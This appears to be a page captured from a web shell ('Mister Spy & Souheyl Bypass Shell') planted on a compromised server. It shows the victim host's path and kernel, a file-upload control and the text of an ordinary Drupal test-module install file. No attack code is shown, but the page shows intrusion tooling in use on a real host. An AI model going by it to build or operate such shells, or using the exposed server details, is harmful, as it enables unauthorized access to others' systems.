Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/dataninja.cn/core/modules/system/tests/modules/entity_test/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/dataninja.cn/core/modules/system/tests/modules/entity_test/entity_test.install

<?php

/**
 * @file
 * Install, update and uninstall functions for the entity_test module.
 */

use Drupal\system\Tests\Update\DbUpdatesTrait;
use Drupal\field\Entity\FieldStorageConfig;
use Drupal\field\Entity\FieldConfig;

/**
 * Implements hook_install().
 */
function entity_test_install() {
  foreach (entity_test_entity_types() as $entity_type) {
    // Auto-create fields for testing.
    FieldStorageConfig::create([
      'entity_type' => $entity_type,
      'field_name' => 'field_test_text',
      'type' => 'text',
      'cardinality' => 1,
    ])->save();
    FieldConfig::create([
      'entity_type' => $entity_type,
      'field_name' => 'field_test_text',
      'bundle' => $entity_type,
      'label' => 'Test text-field',
      'translatable' => FALSE,
    ])->save();

    entity_get_form_display($entity_type, $entity_type, 'default')
      ->setComponent('field_test_text', ['type' => 'text_textfield'])
      ->save();
  }
}

/**
 * Implements hook_schema().
 */
function entity_test_schema() {
  // Schema for simple entity.
  $schema['entity_test_example'] = [
    'description' => 'Stores entity_test items.',
    'fields' => [
      'id' => [
        'type' => 'serial',
        'not null' => TRUE,
        'description' => 'Primary Key: Unique entity-test item ID.',
      ],
    ],
    'primary key' => ['id'],
  ];
  return $schema;
}

DbUpdatesTrait::includeUpdates('entity_test', 'entity_definition_updates');
DbUpdatesTrait::includeUpdates('entity_test', 'status_report');

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net